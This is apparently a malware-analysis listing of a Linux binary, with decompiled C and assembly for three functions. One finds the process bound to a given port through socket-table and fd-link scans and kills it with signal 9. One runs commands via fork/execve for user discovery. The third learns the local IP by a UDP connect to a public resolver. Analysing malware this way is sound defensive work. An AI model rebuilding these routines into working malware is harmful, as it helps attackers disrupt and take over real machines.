Calls: thunk_FUN_0040cf7c, FUN_0040d01d, FUN_0040d07f, thunk_FUN_0040d152, thunk_FUN_0040d17d, FUN_0040d215, thunk_FUN_0040d25a, thunk_FUN_0040d476, FUN_00415980, FUN_00417776, FUN_0041779c, FUN_004177dd, FUN_00417dc5, FUN_0041b0e7, FUN_0041c083, FUN_0041db41, FUN_0041dd01, FUN_0041dd63

Decompiled C · 199 lines

int FUN_0040cb5a(uint param_1,undefined8 param_2)

{
  byte bVar1;
  bool bVar2;
  bool bVar3;
  char cVar4;
  undefined2 uVar5;
  int iVar6;
  undefined4 uVar7;
  int iVar8;
  int iVar9;
  ulong uVar10;
  long lVar11;
  long lVar12;
  long lVar13;
  ulong uVar14;
  undefined4 *puVar15;
  long lVar16;
  byte *pbVar17;
  undefined8 local_2259;
  undefined8 uStack_2251;
  undefined2 local_2249;
  undefined2 local_2247;
  undefined1 local_2245;
  byte local_2239 [513];
  undefined8 local_2038;
  undefined8 uStack_2030;
  undefined4 local_2028 [1020];
  undefined8 local_1038;
  undefined8 uStack_1030;
  undefined4 local_1028 [1022];
  
  if (DAT_0062bdd8 != 0) {
    local_2239[0] = 0;
    local_2239[1] = 0;
    local_2239[2] = 0;
    local_2239[3] = 0;
    local_2239[4] = 0;
    local_2239[5] = 0;
    local_2239[6] = 0;
    local_2239[7] = 0;
    local_2239[8] = 0;
    local_2239[9] = 0;
    local_2239[10] = 0;
    local_2239[0xb] = 0;
    local_2239[0xc] = 0;
    local_2239[0xd] = 0;
    local_2239[0xe] = 0;
    local_2239[0xf] = 0;
    puVar15 = local_2028;
    for (lVar13 = 0x3fc; lVar13 != 0; lVar13 = lVar13 + -1) {
      *puVar15 = 0;
      puVar15 = puVar15 + 1;
    }
    local_2038 = 0;
    uStack_2030 = 0;
    puVar15 = local_1028;
    for (lVar13 = 0x3fc; lVar13 != 0; lVar13 = lVar13 + -1) {
      *puVar15 = 0;
      puVar15 = puVar15 + 1;
    }
    local_1038 = 0;
    uStack_1030 = 0;
    pbVar17 = local_2239 + 0x10;
    for (lVar13 = 0x1f1; lVar13 != 0; lVar13 = lVar13 + -1) {
      *pbVar17 = 0;
      pbVar17 = pbVar17 + 1;
    }
    local_2259 = 0;
    uStack_2251 = 0;
    uVar5 = FUN_0041b0e7(param_1 & 0xffff,param_2,param_1);
    thunk_FUN_0040d17d(uVar5,0x10,&local_2249);
    iVar6 = thunk_FUN_0040cf7c(&local_2249);
    uVar5 = local_2249;
    if (iVar6 == 2) {
      local_2245 = 0;
      local_2249 = 0x3030;
      local_2247 = uVar5;
    }
    iVar6 = FUN_00417dc5(*(undefined8 *)(DAT_0062e6f0 + 0xd70),0);
    if (iVar6 != -1) {
LAB_0040cc2e:
      do {
        do {
          do {
            lVar13 = thunk_FUN_0040d476(local_2239,0x200,iVar6);
            if (lVar13 == 0) goto LAB_0040cd3c;
            lVar13 = 0;
            do {
              lVar16 = lVar13;
              bVar1 = local_2239[lVar16];
              if (bVar1 == 0) goto LAB_0040cc2e;
              lVar13 = lVar16 + 1;
            } while (bVar1 != 0x3a);
            lVar16 = (long)((int)lVar16 + 2);
            lVar13 = lVar16;
            do {
              lVar11 = lVar13;
              lVar13 = lVar11 + 1;
            } while ((local_2239[lVar11] & 0xdf) != 0);
            pbVar17 = local_2239 + lVar16;
            local_2239[(int)lVar11] = 0;
            uVar7 = thunk_FUN_0040cf7c(pbVar17);
            iVar8 = thunk_FUN_0040d25a(pbVar17,uVar7,&local_2249);
          } while (iVar8 == -1);
          bVar3 = false;
          bVar2 = false;
          iVar8 = 0;
          uVar10 = (ulong)((int)lVar11 + 2);
          while( true ) {
            bVar1 = local_2239[uVar10];
            iVar9 = (int)uVar10;
            if (bVar1 == 0) break;
            if ((bVar1 == 0x20) || (bVar1 == 9)) {
              bVar2 = true;
LAB_0040ccf1:
              if (iVar8 != 0xb) goto LAB_0040ccf6;
              if (bVar3) {
                uVar14 = (ulong)iVar9;
                do {
                  pbVar17 = local_2239 + uVar14;
                  uVar10 = uVar14 & 0xffffffff;
                  uVar14 = uVar14 + 1;
                } while ((*pbVar17 & 0xdf) != 0);
                goto LAB_0040cd14;
              }
              goto LAB_0040cc2e;
            }
            if (!bVar2) goto LAB_0040ccf1;
            iVar8 = iVar8 + 1;
            if (iVar8 != 1) {
              bVar2 = false;
              goto LAB_0040ccf1;
            }
            if (local_2239[iVar9 + 1] == 0x41) {
              bVar3 = true;
            }
            bVar2 = false;
LAB_0040ccf6:
            uVar10 = uVar10 + 1;
          }
        } while (!bVar3);
LAB_0040cd14:
        pbVar17 = local_2239 + iVar9;
        local_2239[(int)uVar10] = 0;
        iVar8 = thunk_FUN_0040cf7c(pbVar17);
      } while (0xf < iVar8);
      thunk_FUN_0040d152(&local_2259,pbVar17);
LAB_0040cd3c:
      FUN_0041db41(iVar6);
      iVar6 = thunk_FUN_0040cf7c(&local_2259);
      if (iVar6 != 0) {
        iVar6 = 0;
        lVar13 = FUN_0041779c(*(undefined8 *)(DAT_0062e6f0 + 0xce0));
        if (lVar13 != 0) {
          while ((lVar16 = FUN_004177dd(lVar13), lVar16 != 0 && (iVar6 == 0))) {
            if ((byte)(*(char *)(lVar16 + 0x13) - 0x30U) < 10) {
              lVar16 = lVar16 + 0x13;
              thunk_FUN_0040d152(&local_2038,*(undefined8 *)(DAT_0062e6f0 + 0xce0));
              FUN_0040d01d(&local_2038,lVar16);
              FUN_0040d01d(&local_2038,*(undefined8 *)(DAT_0062e6f0 + 0xd20));
              lVar11 = FUN_0041779c(&local_2038);
              if (lVar11 != 0) {
                while ((lVar12 = FUN_004177dd(lVar11), lVar12 != 0 && (iVar6 == 0))) {
                  FUN_0040d215(&local_1038,0x1000);
                  thunk_FUN_0040d152(&local_2038,*(undefined8 *)(DAT_0062e6f0 + 0xce0));
                  FUN_0040d01d(&local_2038,lVar16);
                  FUN_0040d01d(&local_2038,*(undefined8 *)(DAT_0062e6f0 + 0x1100));
                  FUN_0040d01d(&local_2038,lVar12 + 0x13);
                  uVar10 = FUN_0041dd01(&local_2038,&local_1038,0xfff);
                  if (0 < (long)uVar10) {
                    *(undefined1 *)((long)&local_1038 + uVar10) = 0;
                    iVar8 = thunk_FUN_0040d25a(&local_1038,uVar10 & 0xffffffff,&local_2259);
                    if (iVar8 != -1) {
                      uVar7 = FUN_0040d07f(lVar16);
                      cVar4 = FUN_00415980(uVar7);
                      if (cVar4 == '\0') {
                        iVar6 = 1;
                        FUN_0041c083(uVar7,9);
                      }
                    }
                  }
                }
                FUN_00417776(lVar11);
              }
            }
          }
          FUN_00417776(lVar13);
        }
        FUN_0041dd63(1);
        return iVar6;
      }
    }
  }
  return 0;
}

Assembly · 252 instructions, 0 annotated

Address	Bytes	Instruction
0040cb5a	41 57	PUSH R15
0040cb5c	41 56	PUSH R14
0040cb5e	41 55	PUSH R13
0040cb60	41 54	PUSH R12
0040cb62	55	PUSH RBP
0040cb63	53	PUSH RBX
0040cb64	48 81 ec 48 22 00 00	SUB RSP,0x2248
0040cb6b	83 3d 66 f2 21 00 00	CMP dword ptr [DAT_0062bdd8],0x0
0040cb72	75 08	JNZ LAB_0040cb7c
LAB_0040cb74:
0040cb74	45 31 e4	XOR R12D,R12D
0040cb77	e9 92 03 00 00	JMP LAB_0040cf0e
LAB_0040cb7c:
0040cb7c	31 c0	XOR EAX,EAX
0040cb7e	89 fa	MOV EDX,EDI
0040cb80	0f 57 c0	XORPS XMM0,XMM0
0040cb83	b9 fc 03 00 00	MOV ECX,0x3fc
0040cb88	48 8d bc 24 50 02 00 00	LEA RDI,[RSP + 0x250]
0040cb90	0f 11 44 24 3f	MOVUPS xmmword ptr [RSP + local_2239[0]],XMM0
0040cb95	4c 8d 64 24 2f	LEA R12,[RSP + 0x2f]
0040cb9a	f3 ab	STOSD.REP RDI
0040cb9c	b9 fc 03 00 00	MOV ECX,0x3fc
0040cba1	48 8d bc 24 50 12 00 00	LEA RDI,[RSP + 0x1250]
0040cba9	0f 11 84 24 40 02 00 00	MOVUPS xmmword ptr [RSP + local_2038[0]],XMM0
0040cbb1	f3 ab	STOSD.REP RDI
0040cbb3	48 8d 7c 24 4f	LEA RDI,[RSP + 0x4f]
0040cbb8	b9 f1 01 00 00	MOV ECX,0x1f1
0040cbbd	0f 11 84 24 40 12 00 00	MOVUPS xmmword ptr [RSP + local_1038[0]],XMM0
0040cbc5	f3 aa	STOSB.REP RDI
0040cbc7	0f b7 fa	MOVZX EDI,DX
0040cbca	0f 11 44 24 1f	MOVUPS xmmword ptr [RSP + local_2259[0]],XMM0
0040cbcf	e8 13 e5 00 00	CALL FUN_0041b0e7
0040cbd4	4c 89 e2	MOV RDX,R12
0040cbd7	be 10 00 00 00	MOV ESI,0x10
0040cbdc	0f b7 f8	MOVZX EDI,AX
0040cbdf	e8 2c 06 00 00	CALL thunk_FUN_0040d17d
0040cbe4	4c 89 e7	MOV RDI,R12
0040cbe7	e8 2c 04 00 00	CALL thunk_FUN_0040cf7c
0040cbec	83 f8 02	CMP EAX,0x2
0040cbef	75 16	JNZ LAB_0040cc07
0040cbf1	66 8b 44 24 2f	MOV AX,word ptr [RSP + local_2249]
0040cbf6	c6 44 24 33 00	MOV byte ptr [RSP + local_2245],0x0
0040cbfb	66 c7 44 24 2f 30 30	MOV word ptr [RSP + local_2249],0x3030
0040cc02	66 89 44 24 31	MOV word ptr [RSP + local_2247],AX
LAB_0040cc07:
0040cc07	48 8b 05 e2 1a 22 00	MOV RAX,qword ptr [DAT_0062e6f0]
0040cc0e	31 f6	XOR ESI,ESI
0040cc10	4c 8d 74 24 3f	LEA R14,[RSP + 0x3f]
0040cc15	48 8b b8 70 0d 00 00	MOV RDI,qword ptr [RAX + 0xd70]
0040cc1c	31 c0	XOR EAX,EAX
0040cc1e	e8 a2 b1 00 00	CALL FUN_00417dc5
0040cc23	89 c5	MOV EBP,EAX
0040cc25	83 f8 ff	CMP EAX,-0x1
0040cc28	0f 84 46 ff ff ff	JZ LAB_0040cb74
LAB_0040cc2e:
0040cc2e	89 ea	MOV EDX,EBP
0040cc30	be 00 02 00 00	MOV ESI,0x200
0040cc35	4c 89 f7	MOV RDI,R14
0040cc38	e8 89 08 00 00	CALL thunk_FUN_0040d476
0040cc3d	48 85 c0	TEST RAX,RAX
0040cc40	0f 84 f6 00 00 00	JZ LAB_0040cd3c
0040cc46	31 c0	XOR EAX,EAX
LAB_0040cc48:
0040cc48	41 8a 14 06	MOV DL,byte ptr [R14 + RAX*0x1]
0040cc4c	41 89 c5	MOV R13D,EAX
0040cc4f	48 ff c0	INC RAX
0040cc52	84 d2	TEST DL,DL
0040cc54	74 d8	JZ LAB_0040cc2e
0040cc56	80 fa 3a	CMP DL,0x3a
0040cc59	75 ed	JNZ LAB_0040cc48
0040cc5b	84 d2	TEST DL,DL
0040cc5d	74 cf	JZ LAB_0040cc2e
0040cc5f	41 83 c5 02	ADD R13D,0x2
0040cc63	4d 63 ed	MOVSXD R13,R13D
0040cc66	4c 89 e8	MOV RAX,R13
LAB_0040cc69:
0040cc69	41 8a 14 06	MOV DL,byte ptr [R14 + RAX*0x1]
0040cc6d	89 c3	MOV EBX,EAX
0040cc6f	48 ff c0	INC RAX
0040cc72	80 e2 df	AND DL,0xdf
0040cc75	75 f2	JNZ LAB_0040cc69
0040cc77	4d 01 f5	ADD R13,R14
0040cc7a	48 63 c3	MOVSXD RAX,EBX
0040cc7d	4c 89 ef	MOV RDI,R13
0040cc80	c6 44 04 3f 00	MOV byte ptr [RSP + RAX*0x1 + 0x3f],0x0
0040cc85	e8 8e 03 00 00	CALL thunk_FUN_0040cf7c
0040cc8a	4c 89 e2	MOV RDX,R12
0040cc8d	4c 89 ef	MOV RDI,R13
0040cc90	89 c6	MOV ESI,EAX
0040cc92	e8 23 06 00 00	CALL thunk_FUN_0040d25a
0040cc97	ff c0	INC EAX
0040cc99	74 93	JZ LAB_0040cc2e
0040cc9b	8d 43 02	LEA EAX,[RBX + 0x2]
0040cc9e	31 c9	XOR ECX,ECX
0040cca0	31 f6	XOR ESI,ESI
0040cca2	31 ff	XOR EDI,EDI
0040cca4	48 98	CDQE
0040cca6	41 b9 01 00 00 00	MOV R9D,0x1
LAB_0040ccac:
0040ccac	45 8a 04 06	MOV R8B,byte ptr [R14 + RAX*0x1]
0040ccb0	89 c2	MOV EDX,EAX
0040ccb2	4c 63 e8	MOVSXD R13,EAX
0040ccb5	45 84 c0	TEST R8B,R8B
0040ccb8	0f 84 43 02 00 00	JZ LAB_0040cf01
0040ccbe	41 80 f8 20	CMP R8B,0x20
0040ccc2	74 24	JZ LAB_0040cce8
0040ccc4	41 80 f8 09	CMP R8B,0x9
0040ccc8	74 1e	JZ LAB_0040cce8
0040ccca	83 fe 01	CMP ESI,0x1
0040cccd	75 22	JNZ LAB_0040ccf1
0040cccf	ff c7	INC EDI
0040ccd1	83 ff 01	CMP EDI,0x1
0040ccd4	75 19	JNZ LAB_0040ccef
0040ccd6	ff c2	INC EDX
0040ccd8	48 63 d2	MOVSXD RDX,EDX
0040ccdb	80 7c 14 3f 41	CMP byte ptr [RSP + RDX*0x1 + 0x3f],0x41
0040cce0	41 0f 44 c9	CMOVZ ECX,R9D
0040cce4	31 f6	XOR ESI,ESI
0040cce6	eb 0e	JMP LAB_0040ccf6
LAB_0040cce8:
0040cce8	be 01 00 00 00	MOV ESI,0x1
0040cced	eb 02	JMP LAB_0040ccf1
LAB_0040ccef:
0040ccef	31 f6	XOR ESI,ESI
LAB_0040ccf1:
0040ccf1	83 ff 0b	CMP EDI,0xb
0040ccf4	74 05	JZ LAB_0040ccfb
LAB_0040ccf6:
0040ccf6	48 ff c0	INC RAX
0040ccf9	eb b1	JMP LAB_0040ccac
LAB_0040ccfb:
0040ccfb	85 c9	TEST ECX,ECX
0040ccfd	0f 84 2b ff ff ff	JZ LAB_0040cc2e
0040cd03	49 63 d5	MOVSXD RDX,R13D
LAB_0040cd06:
0040cd06	41 8a 0c 16	MOV CL,byte ptr [R14 + RDX*0x1]
0040cd0a	89 d0	MOV EAX,EDX
0040cd0c	48 ff c2	INC RDX
0040cd0f	80 e1 df	AND CL,0xdf
0040cd12	75 f2	JNZ LAB_0040cd06
LAB_0040cd14:
0040cd14	4d 01 f5	ADD R13,R14
0040cd17	48 98	CDQE
0040cd19	4c 89 ef	MOV RDI,R13
0040cd1c	c6 44 04 3f 00	MOV byte ptr [RSP + RAX*0x1 + 0x3f],0x0
0040cd21	e8 f2 02 00 00	CALL thunk_FUN_0040cf7c
0040cd26	83 f8 0f	CMP EAX,0xf
0040cd29	0f 8f ff fe ff ff	JG LAB_0040cc2e
0040cd2f	48 8d 7c 24 1f	LEA RDI,[RSP + 0x1f]
0040cd34	4c 89 ee	MOV RSI,R13
0040cd37	e8 37 04 00 00	CALL thunk_FUN_0040d152
LAB_0040cd3c:
0040cd3c	89 ef	MOV EDI,EBP
0040cd3e	e8 fe 0d 01 00	CALL FUN_0041db41
0040cd43	48 8d 44 24 1f	LEA RAX,[RSP + 0x1f]
0040cd48	48 89 c7	MOV RDI,RAX
0040cd4b	48 89 04 24	MOV qword ptr [RSP],RAX
0040cd4f	e8 c4 02 00 00	CALL thunk_FUN_0040cf7c
0040cd54	85 c0	TEST EAX,EAX
0040cd56	0f 84 18 fe ff ff	JZ LAB_0040cb74
0040cd5c	48 8b 05 8d 19 22 00	MOV RAX,qword ptr [DAT_0062e6f0]
0040cd63	45 31 e4	XOR R12D,R12D
0040cd66	48 8d ac 24 40 02 00 00	LEA RBP,[RSP + 0x240]
0040cd6e	48 8b b8 e0 0c 00 00	MOV RDI,qword ptr [RAX + 0xce0]
0040cd75	e8 22 aa 00 00	CALL FUN_0041779c
0040cd7a	49 89 c5	MOV R13,RAX
0040cd7d	48 85 c0	TEST RAX,RAX
0040cd80	0f 84 6f 01 00 00	JZ LAB_0040cef5
LAB_0040cd86:
0040cd86	4c 89 ef	MOV RDI,R13
0040cd89	e8 4f aa 00 00	CALL FUN_004177dd
0040cd8e	48 85 c0	TEST RAX,RAX
0040cd91	0f 84 56 01 00 00	JZ LAB_0040ceed
0040cd97	45 85 e4	TEST R12D,R12D
0040cd9a	0f 85 4d 01 00 00	JNZ LAB_0040ceed
0040cda0	8a 58 13	MOV BL,byte ptr [RAX + 0x13]
0040cda3	8d 53 d0	LEA EDX,[RBX + -0x30]
0040cda6	80 fa 09	CMP DL,0x9
0040cda9	77 db	JA LAB_0040cd86
0040cdab	48 8d 58 13	LEA RBX,[RAX + 0x13]
0040cdaf	48 8b 05 3a 19 22 00	MOV RAX,qword ptr [DAT_0062e6f0]
0040cdb6	48 89 ef	MOV RDI,RBP
0040cdb9	4c 8d bc 24 40 12 00 00	LEA R15,[RSP + 0x1240]
0040cdc1	48 8b b0 e0 0c 00 00	MOV RSI,qword ptr [RAX + 0xce0]
0040cdc8	e8 a6 03 00 00	CALL thunk_FUN_0040d152
0040cdcd	48 89 de	MOV RSI,RBX
0040cdd0	48 89 ef	MOV RDI,RBP
0040cdd3	e8 45 02 00 00	CALL FUN_0040d01d
0040cdd8	48 8b 05 11 19 22 00	MOV RAX,qword ptr [DAT_0062e6f0]
0040cddf	48 89 ef	MOV RDI,RBP
0040cde2	48 8b b0 20 0d 00 00	MOV RSI,qword ptr [RAX + 0xd20]
0040cde9	e8 2f 02 00 00	CALL FUN_0040d01d
0040cdee	48 89 ef	MOV RDI,RBP
0040cdf1	e8 a6 a9 00 00	CALL FUN_0041779c
0040cdf6	49 89 c6	MOV R14,RAX
0040cdf9	48 85 c0	TEST RAX,RAX
0040cdfc	74 88	JZ LAB_0040cd86
LAB_0040cdfe:
0040cdfe	4c 89 f7	MOV RDI,R14
0040ce01	e8 d7 a9 00 00	CALL FUN_004177dd
0040ce06	48 89 c2	MOV RDX,RAX
0040ce09	48 85 c0	TEST RAX,RAX
0040ce0c	0f 84 ce 00 00 00	JZ LAB_0040cee0
0040ce12	45 85 e4	TEST R12D,R12D
0040ce15	0f 85 c5 00 00 00	JNZ LAB_0040cee0
0040ce1b	be 00 10 00 00	MOV ESI,0x1000
0040ce20	4c 89 ff	MOV RDI,R15
0040ce23	48 89 54 24 08	MOV qword ptr [RSP + local_2270],RDX
0040ce28	e8 e8 03 00 00	CALL FUN_0040d215
0040ce2d	48 8b 05 bc 18 22 00	MOV RAX,qword ptr [DAT_0062e6f0]
0040ce34	48 89 ef	MOV RDI,RBP
0040ce37	48 8b b0 e0 0c 00 00	MOV RSI,qword ptr [RAX + 0xce0]
0040ce3e	e8 30 03 00 00	CALL thunk_FUN_0040d152
0040ce43	48 89 de	MOV RSI,RBX
0040ce46	48 89 ef	MOV RDI,RBP
0040ce49	e8 cf 01 00 00	CALL FUN_0040d01d
0040ce4e	48 8b 05 9b 18 22 00	MOV RAX,qword ptr [DAT_0062e6f0]
0040ce55	48 89 ef	MOV RDI,RBP
0040ce58	48 8b b0 00 11 00 00	MOV RSI,qword ptr [RAX + 0x1100]
0040ce5f	e8 b9 01 00 00	CALL FUN_0040d01d
0040ce64	48 8b 54 24 08	MOV RDX,qword ptr [RSP + local_2270]
0040ce69	48 89 ef	MOV RDI,RBP
0040ce6c	48 8d 72 13	LEA RSI,[RDX + 0x13]
0040ce70	e8 a8 01 00 00	CALL FUN_0040d01d
0040ce75	ba ff 0f 00 00	MOV EDX,0xfff
0040ce7a	4c 89 fe	MOV RSI,R15
0040ce7d	48 89 ef	MOV RDI,RBP
0040ce80	e8 7c 0e 01 00	CALL FUN_0041dd01
0040ce85	48 85 c0	TEST RAX,RAX
0040ce88	0f 8e 70 ff ff ff	JLE LAB_0040cdfe
0040ce8e	48 8b 14 24	MOV RDX,qword ptr [RSP]
0040ce92	89 c6	MOV ESI,EAX
0040ce94	4c 89 ff	MOV RDI,R15
0040ce97	c6 84 04 40 12 00 00 00	MOV byte ptr [RSP + RAX*0x1 + 0x1240],0x0
0040ce9f	e8 16 04 00 00	CALL thunk_FUN_0040d25a
0040cea4	ff c0	INC EAX
0040cea6	0f 84 52 ff ff ff	JZ LAB_0040cdfe
0040ceac	48 89 df	MOV RDI,RBX
0040ceaf	e8 cb 01 00 00	CALL FUN_0040d07f
0040ceb4	89 c7	MOV EDI,EAX
0040ceb6	89 44 24 08	MOV dword ptr [RSP + local_2270],EAX
0040ceba	e8 c1 8a 00 00	CALL FUN_00415980
0040cebf	84 c0	TEST AL,AL
0040cec1	0f 85 37 ff ff ff	JNZ LAB_0040cdfe
0040cec7	8b 7c 24 08	MOV EDI,dword ptr [RSP + local_2270]
0040cecb	be 09 00 00 00	MOV ESI,0x9
0040ced0	41 bc 01 00 00 00	MOV R12D,0x1
0040ced6	e8 a8 f1 00 00	CALL FUN_0041c083
0040cedb	e9 1e ff ff ff	JMP LAB_0040cdfe
LAB_0040cee0:
0040cee0	4c 89 f7	MOV RDI,R14
0040cee3	e8 8e a8 00 00	CALL FUN_00417776
0040cee8	e9 99 fe ff ff	JMP LAB_0040cd86
LAB_0040ceed:
0040ceed	4c 89 ef	MOV RDI,R13
0040cef0	e8 81 a8 00 00	CALL FUN_00417776
LAB_0040cef5:
0040cef5	bf 01 00 00 00	MOV EDI,0x1
0040cefa	e8 64 0e 01 00	CALL FUN_0041dd63
0040ceff	eb 0d	JMP LAB_0040cf0e
LAB_0040cf01:
0040cf01	85 c9	TEST ECX,ECX
0040cf03	0f 84 25 fd ff ff	JZ LAB_0040cc2e
0040cf09	e9 06 fe ff ff	JMP LAB_0040cd14
LAB_0040cf0e:
0040cf0e	48 81 c4 48 22 00 00	ADD RSP,0x2248
0040cf15	44 89 e0	MOV EAX,R12D
0040cf18	5b	POP RBX
0040cf19	5d	POP RBP
0040cf1a	41 5c	POP R12
0040cf1c	41 5d	POP R13
0040cf1e	41 5e	POP R14
0040cf20	41 5f	POP R15
0040cf22	c3	RET

runs a program through pipe/fork/execve…

0x40d2bf297 bytes

undefined FUN_0040d2bf()

runs a program through pipe/fork/execve and collects its output; called by the user discovery 0x40a57f

Cited as: E20, E27
Behaviours: B10
Called from: FUN_0040a57f
Calls: FUN_0041bdca, FUN_0041bdde, FUN_0041bf3d, FUN_0041db14, FUN_0041db41, FUN_0041db79, FUN_0041dcc4, FUN_0041dcd6

Decompiled C · 46 lines

int FUN_0040d2bf(long param_1,long param_2,undefined1 *param_3,ulong param_4)

{
  int iVar1;
  long lVar2;
  long lVar3;
  undefined4 local_44;
  undefined4 local_40;
  int local_3c;
  
  local_44 = 0;
  if ((((param_1 != 0) && (param_2 != 0)) && (param_3 != (undefined1 *)0x0)) && (param_4 != 0)) {
    *param_3 = 0;
    iVar1 = FUN_0041dcc4(&local_40);
    if (iVar1 == 0) {
      iVar1 = FUN_0041bdde();
      if (-1 < iVar1) {
        if (iVar1 == 0) {
          FUN_0041db41(local_40);
          if (local_3c != 1) {
            FUN_0041db79(local_3c,1);
            FUN_0041db79(local_3c,2);
            FUN_0041db41(local_3c);
          }
          FUN_0041bdca(param_1,param_2,DAT_006bc6c0);
          FUN_0041db14(0x7f);
        }
        lVar3 = 0;
        FUN_0041db41(local_3c);
        while ((lVar3 + 1U < param_4 &&
               (lVar2 = FUN_0041dcd6(local_40,param_3 + lVar3,(param_4 - 1) - lVar3), 0 < lVar2))) {
          lVar3 = lVar3 + lVar2;
        }
        param_3[lVar3] = 0;
        FUN_0041db41(local_40);
        FUN_0041bf3d(iVar1,&local_44,0);
        return -(uint)(lVar3 == 0);
      }
      FUN_0041db41(local_40);
      FUN_0041db41(local_3c);
    }
  }
  return -1;
}

Assembly · 89 instructions, 1 annotated, 1 cited

Address	Bytes	Instruction	Comment
0040d2bf	41 57	PUSH R15	; E27
0040d2c1	41 56	PUSH R14
0040d2c3	41 55	PUSH R13
0040d2c5	41 54	PUSH R12
0040d2c7	55	PUSH RBP
0040d2c8	53	PUSH RBX
0040d2c9	48 83 ec 18	SUB RSP,0x18
0040d2cd	c7 44 24 04 00 00 00 00	MOV dword ptr [RSP + local_44],0x0
0040d2d5	48 85 ff	TEST RDI,RDI
0040d2d8	74 4a	JZ LAB_0040d324
0040d2da	49 89 f7	MOV R15,RSI
0040d2dd	48 85 f6	TEST RSI,RSI
0040d2e0	74 42	JZ LAB_0040d324
0040d2e2	49 89 d4	MOV R12,RDX
0040d2e5	48 85 d2	TEST RDX,RDX
0040d2e8	74 3a	JZ LAB_0040d324
0040d2ea	48 89 cd	MOV RBP,RCX
0040d2ed	48 85 c9	TEST RCX,RCX
0040d2f0	74 32	JZ LAB_0040d324
0040d2f2	c6 02 00	MOV byte ptr [RDX],0x0
0040d2f5	49 89 fe	MOV R14,RDI
0040d2f8	48 8d 7c 24 08	LEA RDI,[RSP + 0x8]
0040d2fd	e8 c2 09 01 00	CALL FUN_0041dcc4
0040d302	85 c0	TEST EAX,EAX
0040d304	75 1e	JNZ LAB_0040d324
0040d306	e8 d3 ea 00 00	CALL FUN_0041bdde
0040d30b	41 89 c5	MOV R13D,EAX
0040d30e	85 c0	TEST EAX,EAX
0040d310	79 1a	JNS LAB_0040d32c
0040d312	8b 7c 24 08	MOV EDI,dword ptr [RSP + local_40]
0040d316	e8 26 08 01 00	CALL FUN_0041db41
0040d31b	8b 7c 24 0c	MOV EDI,dword ptr [RSP + local_3c]
0040d31f	e8 1d 08 01 00	CALL FUN_0041db41
LAB_0040d324:
0040d324	83 c8 ff	OR EAX,0xffffffff
0040d327	e9 ad 00 00 00	JMP LAB_0040d3d9
LAB_0040d32c:
0040d32c	75 4f	JNZ LAB_0040d37d
0040d32e	8b 7c 24 08	MOV EDI,dword ptr [RSP + local_40]
0040d332	e8 0a 08 01 00	CALL FUN_0041db41
0040d337	8b 7c 24 0c	MOV EDI,dword ptr [RSP + local_3c]
0040d33b	83 ff 01	CMP EDI,0x1
0040d33e	74 21	JZ LAB_0040d361
0040d340	be 01 00 00 00	MOV ESI,0x1
0040d345	e8 2f 08 01 00	CALL FUN_0041db79
0040d34a	8b 7c 24 0c	MOV EDI,dword ptr [RSP + local_3c]
0040d34e	be 02 00 00 00	MOV ESI,0x2
0040d353	e8 21 08 01 00	CALL FUN_0041db79
0040d358	8b 7c 24 0c	MOV EDI,dword ptr [RSP + local_3c]
0040d35c	e8 e0 07 01 00	CALL FUN_0041db41
LAB_0040d361:
0040d361	48 8b 15 58 f3 2a 00	MOV RDX,qword ptr [DAT_006bc6c0]
0040d368	4c 89 f7	MOV RDI,R14
0040d36b	4c 89 fe	MOV RSI,R15
0040d36e	e8 57 ea 00 00	CALL FUN_0041bdca
0040d373	bf 7f 00 00 00	MOV EDI,0x7f
0040d378	e8 97 07 01 00	CALL FUN_0041db14
LAB_0040d37d:
0040d37d	8b 7c 24 0c	MOV EDI,dword ptr [RSP + local_3c]
0040d381	31 db	XOR EBX,EBX
0040d383	4c 8d 75 ff	LEA R14,[RBP + -0x1]
0040d387	e8 b5 07 01 00	CALL FUN_0041db41
LAB_0040d38c:
0040d38c	48 8d 43 01	LEA RAX,[RBX + 0x1]
0040d390	8b 7c 24 08	MOV EDI,dword ptr [RSP + local_40]
0040d394	4d 8d 3c 1c	LEA R15,[R12 + RBX*0x1]
0040d398	48 39 e8	CMP RAX,RBP
0040d39b	73 13	JNC LAB_0040d3b0
0040d39d	4c 89 f2	MOV RDX,R14
0040d3a0	4c 89 fe	MOV RSI,R15
0040d3a3	48 29 da	SUB RDX,RBX
0040d3a6	e8 2b 09 01 00	CALL FUN_0041dcd6
0040d3ab	48 85 c0	TEST RAX,RAX
0040d3ae	7f 24	JG LAB_0040d3d4
LAB_0040d3b0:
0040d3b0	41 c6 07 00	MOV byte ptr [R15],0x0
0040d3b4	8b 7c 24 08	MOV EDI,dword ptr [RSP + local_40]
0040d3b8	e8 84 07 01 00	CALL FUN_0041db41
0040d3bd	31 d2	XOR EDX,EDX
0040d3bf	48 8d 74 24 04	LEA RSI,[RSP + 0x4]
0040d3c4	44 89 ef	MOV EDI,R13D
0040d3c7	e8 71 eb 00 00	CALL FUN_0041bf3d
0040d3cc	48 83 fb 01	CMP RBX,0x1
0040d3d0	19 c0	SBB EAX,EAX
0040d3d2	eb 05	JMP LAB_0040d3d9
LAB_0040d3d4:
0040d3d4	48 01 c3	ADD RBX,RAX
0040d3d7	eb b3	JMP LAB_0040d38c
LAB_0040d3d9:
0040d3d9	48 83 c4 18	ADD RSP,0x18
0040d3dd	5b	POP RBX
0040d3de	5d	POP RBP
0040d3df	41 5c	POP R12
0040d3e1	41 5d	POP R13
0040d3e3	41 5e	POP R14
0040d3e5	41 5f	POP R15
0040d3e7	c3	RET

local address via UDP connect to a…

0x40d3e8142 bytes

undefined FUN_0040d3e8()

local address via UDP connect to a public resolver and getsockname

Cited as: E10
Behaviours: B7
Called from: FUN_004001d0
Calls: FUN_00417c3c, FUN_00419689, FUN_00419ac9, FUN_00419b08, FUN_00419b0d, FUN_0041bc03, FUN_0041db41

Decompiled C · 27 lines

undefined4 FUN_0040d3e8(void)

{
  int iVar1;
  undefined4 *puVar2;
  undefined4 local_2c;
  undefined2 local_28;
  undefined2 local_26;
  undefined4 local_24;
  
  local_2c = 0x10;
  puVar2 = (undefined4 *)FUN_00417c3c();
  *puVar2 = 0;
  iVar1 = FUN_0041bc03(2,2,0);
  local_24 = 0;
  if (iVar1 != -1) {
    local_28 = 2;
    local_24 = FUN_00419b08(0x8080808);
    local_26 = FUN_00419b0d(0x35);
    FUN_00419689(iVar1,&local_28,0x10);
    FUN_00419ac9(iVar1,&local_28,&local_2c);
    FUN_0041db41(iVar1);
  }
  return local_24;
}

Assembly · 37 instructions, 0 annotated

Address	Bytes	Instruction
0040d3e8	41 54	PUSH R12
0040d3ea	55	PUSH RBP
0040d3eb	48 83 ec 28	SUB RSP,0x28
